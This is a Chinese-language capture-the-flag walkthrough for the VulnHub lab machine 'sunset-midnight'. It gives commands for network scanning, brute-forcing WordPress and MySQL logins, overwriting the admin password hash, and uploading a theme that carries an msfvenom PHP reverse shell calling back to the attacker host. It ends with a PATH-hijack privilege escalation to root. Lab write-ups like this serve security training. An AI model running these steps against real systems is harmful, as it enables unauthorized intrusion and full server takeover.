靶机描述
Difficulty: Intermediate Important!: Before auditing this machine make sure you add the host "sunset-midnight" to your /etc/hosts file, otherwise it may not work as expected. It is recommended to run this machine in Virtualbox. This works better with ViritualBox rather than VMware?
靶机下载地址:https://download.vulnhub.com/sunset/midnight.7z
下载解压后将.ova导入虚拟机即可
网络配置
将网卡设置为NET模式,开始靶机不能正常获取ip,需要将/etc/network/interfaces文件里的网卡改为ens33,可参考
1.获取靶机ip
arp-scan -l
得到靶机地址为192.168.102.136
2.端口扫描
nmap -A 192.168.102.136 -p 1-65535
可以看到靶机开放了22端口、80端口和3306端口
先访问一下80端口,发现没有反应,在官网的靶机描述中得知需要将域名sunset-midnight添加到本地的/etc/hosts文件中,在windows中该文件位置在C:\Windows\System32\drivers\etc\hosts
添加完成后便可以正常访问
在网站底部得到了该网站的cms为WordPress ,所以首先想到使用wpscan进行扫描
wpscan --url http://sunset-midnight/
扫描得到了网站后台地址/wp-admin和一个插件,但是通过搜索发现该插件暂无可利用漏洞
之后尝试爆破网站用户
wpscan --url http://sunset-midnight/ -e u
只存在一个admin用户,可尝试爆破密码进行登录
wpscan --url http://sunset-midnight/ -P /usr/share/wordlists/rockyou.txt u admin
在爆破的同时先尝试其他方法,由于服务器还开放了22端口和3306端口,也可以尝试进行爆破
爆破3306端口
hydra 192.168.102.136 mysql -l root -P /usr/share/wordlists/rockyou.txt
在爆破3306端口时成功得到了数据库密码为robert
登陆mysql
mysql -uroot -p -h sunset-midnight #此处不能使用ip登陆
在wordpress_db数据库的wp_users表中发现了用户加密后的密码
该加密方式为wordpress的加密,很难破解,但是我们可以尝试将原来的密码覆盖掉,从而使用新的密码登陆后台
首先生成一个md5
21232f297a57a5a743894a0e4a801fc3 #admin
将其写入user_pass 中
update wp_users SET user_pass="21232f297a57a5a743894a0e4a801fc3" where id=1
成功覆盖掉原来的密码,之后便可以使用admin/admin登陆网站后台,然而前面爆破到现在也没有爆破出来......
使用admin/admin登陆网站后台之后,可通过上传主题文件来getshell 首先先去官网下载一个主题压缩包,之后将
反弹shell的php代码写入shell.php中,然后将其放入压缩包一起上传
说明:使用nc监听非常不稳定,所以下面使用msfvenom生成shell.php,msf进行监听获得shell
访问appearance->add new ->upload theme进行上传
之后访问/wp-content/themes/[主题名]/[shell文件名]即可得到一个shell
这里使用msfvenom生成反弹shell的php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.102.128 LPORT=7777 -f raw > shell.php
之后使用msf监听
use exploit/multi/handler set payload php/meterpreter/reverse_tcp set lhost 192.168.102.128set lport 7777 run
访问shell文件便可得到一个会话
进入交互模式
shell python -c "import pty;pty.spawn('/bin/bash')"[object Object]
此时这个shell权限很低,需要进行提权,首先查看/etc/passwd
发现了一个jose用户,之后通过遍历在/var/www/html/wordpress/wp-config.php文件中发现了jose用户的密码645dc5a8871d2a4269d4cbe23f6ae103
开始以为是个md5,后来发现没有经过加密 直接切换到jose用户
之后提权到root权限
使用sudo -l
查看当前权限
发现jose不能使用sudo
查看SUDI权限的文件
find / -perm -u=s -type f 2>/dev/null
由于不能使用sudo命令,所以大多数命令都不能进行提权,但是发现status命令不太常见,执行一下
发现了一个hint,但似乎对解题没什么帮助 从上面可以看到status使用了service命令,但是为未使用service的绝对路径,所以可以尝试更改$PATH来执行该文件
cd /tmp echo "/bin/bash" > service chmod 777 service echo $PATH export PATH=/tmp:$PATH #将/tmp添加到环境变量中 status
执行完之后便成功获得了root权限
nmap
wpscan
msfconsole
msfvenom
hydra爆破mysql
wordpress后台getshell
SUID提权、环境变量提权
参考文章:
Linux环境变量提权: https://xz.aliyun.com/t/2767
WordPress 后台GetShell总结: https://www.cnblogs.com/ssw6/p/12668000.html
本文作者:想看云飞却没风
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/136484.html